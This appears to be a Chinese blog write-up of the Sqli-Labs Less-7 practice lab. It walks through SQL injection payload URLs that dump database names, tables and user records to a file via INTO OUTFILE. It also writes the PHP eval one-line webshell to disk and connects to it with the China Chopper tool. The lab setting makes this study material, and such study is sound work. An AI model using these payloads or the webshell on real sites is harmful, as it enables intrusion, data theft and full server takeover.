Sqli-Labs:Less7

导出文件_GET_单引号_双小括号_字符型注入

0x01. 分析查询语句

想不到这件事倒成了重点…这关把报错做了处理统一:

You have an error in your SQL syntax

分析数字型/字符型及单/双引号注入:

http://localhost:8088/sqlilabs/Less-2/?id=1
http://localhost:8088/sqlilabs/Less-2/?id=1'
http://localhost:8088/sqlilabs/Less-2/?id=1"

第一、第三条正常,第二条报错:字符型注入

注意:这里要强调一下,一般在Sql查询语句中,单双引号不能同时存在。即数字型/字符型及单/双引号注入能在这三条语句返回的结果判断出来。

分析是否存在括号及个数:

http://localhost:8088/sqlilabs/Less-7/?id=1' and 1=1--+

将查询语句后半段注释掉发现仍报错,说明有括号。依次增加括号个数,直到回显正常。

http://localhost:8088/sqlilabs/Less-7/?id=1')) and 1=1--+

注意:一般在Sql查询语句中,想要正常查询到信息,只能在最里层有引号,外层全是小括号。即已知注入类型后依次增加括号数必能分析出括号数(存在注入点)。

0x02. 数据库导出文件

尝试导出:

http://localhost:8088/sqlilabs/Less-7/?id=1')) union select * from users into outfile "D:\\1.txt"--+

发现语法并未出错,但Mysql报错,且路径下并未出现文件。
可能原因1:权限不够,需要root权限才能对数据库进行读写操作。
用以下语句测试权限,回显正常:

http://localhost:8088/sqlilabs/Less-7/?id=1')) and (select count(*) from mysql.user)>0--+

说明并非权限不够的问题。
可能原因2:需要在指定的目录下进行数据的导出。
在Mysql命令行中测试:

select * from users into outfile "D:\\1.txt"

Mysql报错,原因是:Mysql数据库需要在指定的目录下进行数据的导出。
secure_file_priv这个参数用来限制数据导入和导出操作的效果,例如执行load datainto outfile语句和load_file()函数,这些操作需要用户具有file权限。

1. 如果这个参数为空,这个变量没有效果。
2. 如果这个参数设为一个目录名,Mysql服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它.
3. 如果这个参数为null,Mysql服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入。

于是查看secure_file_priv

show variables like '%secure%'

在指定的位置导出文件:

注意:在Mysql中,需要注意路径转义的问题,即用\\分隔。

0x03. 导出文件注入

以上是通过白盒测试拿到的数据,在正常情况下,我们是不知道数据库名和表名的,可以用之前的注入方法依次得出。

步骤一:字段数

http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,3 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

步骤二:数据库名

http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,user(),database() into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

步骤三:表名

http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

步骤四:字段名

http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

步骤五:数据

http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select * from users into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.txt"--+

0x04. 中国菜刀

中国菜刀是一款专业网站管理软件,用途广泛,使用方便,小巧实用,更多的利用方式是用它来连接放在网站上的木马,来对被攻击的网站进行管理。

在该题中,若能将一句话木马<?php eval($_POST["cmd"]);?>上传至站点的根目录或该web项目的文件夹,即更改secure_file_priv参数,便可用中国菜刀连接webshell地址拿下整个站点。

http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\1.php"--+

将其复制至Sqli-Labs的项目文件夹,使用中国菜刀连接http://localhost:8088/sqlilabs/1.php

可以看到在菜刀中能够管理整个服务器上的文件。

0x05. 导入/导出相关函数

@@datadir——数据库存储路径
@@basedir——Mysql安装路径
dumpfile——导出文件,类似outfile;不同的是,dumpfile一次导出一行,会和limit结合使用
load_file()——将文件导入mysql,用法select load_file("文件路径")

使用select ... into outfile以逗号分隔字段的方式将数据导入到一个文件中:
select * into outfile 'D:\\log1.txt' fields terminated by ',' from log.log1

将刚刚导出的文件log1.txt导入到表log1相同结构的log2中:
load data infile 'D:\\log1.txt' into table aa.log2 fields terminated by ','

使用select * into outfile导出:
select * into outfile 'D:\\test.txt' fields terminated by ',' optionally enclosed by '"' lines terminated by '\n' from test.table

导入:
load data infile '/tm/fi.txt' into table test.fii fields terminated by ',' optionally enclosed by '"' lines terminated by '\n'

fields terminated by ','——字段间分割符
optionally enclosed by '"'——将字段包围,对数值型无效
lines terminated by '\n'——换行符

0x06. 吐槽

以上所有导出文件的注入同样可以用bool盲注的脚本跑出来(因为没有过滤且有回显)。
这题没有文件上传漏洞,虽说能改Mysql的参数,但很难得到站点根目录路径。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,445评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,889评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,047评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,760评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,745评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,638评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,011评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,669评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,923评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,655评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,740评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,406评论 4 320
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,995评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,961评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,023评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,483评论 2 342

推荐阅读更多精彩内容

  • http://127.0.0.1/sqli-labs-master 浅析MySQL中concat以及group_c...
    BerL1n阅读 8,590评论 0 4
  • 基于错误_GET_单引号_字符型注入 在打第一关的同时把以前学的零散的Sqli和Mysql的知识做个总结。参考教程...
    Hyafinthus阅读 2,052评论 3 11
  • Less2-Less4和Less1的查询语句类似,只是引号及括号的区别。 Less2 基于错误_GET_数字型注入...
    Hyafinthus阅读 1,466评论 0 2
  • 2018年阴历正月十五,元宵节晚上,学校。 “在干嘛呢,玩游戏啊?” “恩,不然呢,看花吗?” “对啊,你不是说你...
    沂尾鱼阅读 251评论 0 0
  • 今天整理一下定位系列书籍的脉络。 因为特劳特和里斯初期是同事,共同提出定位理论,后来分别成立自己的公司,所以定位书...
    李虹霖阅读 5,518评论 2 8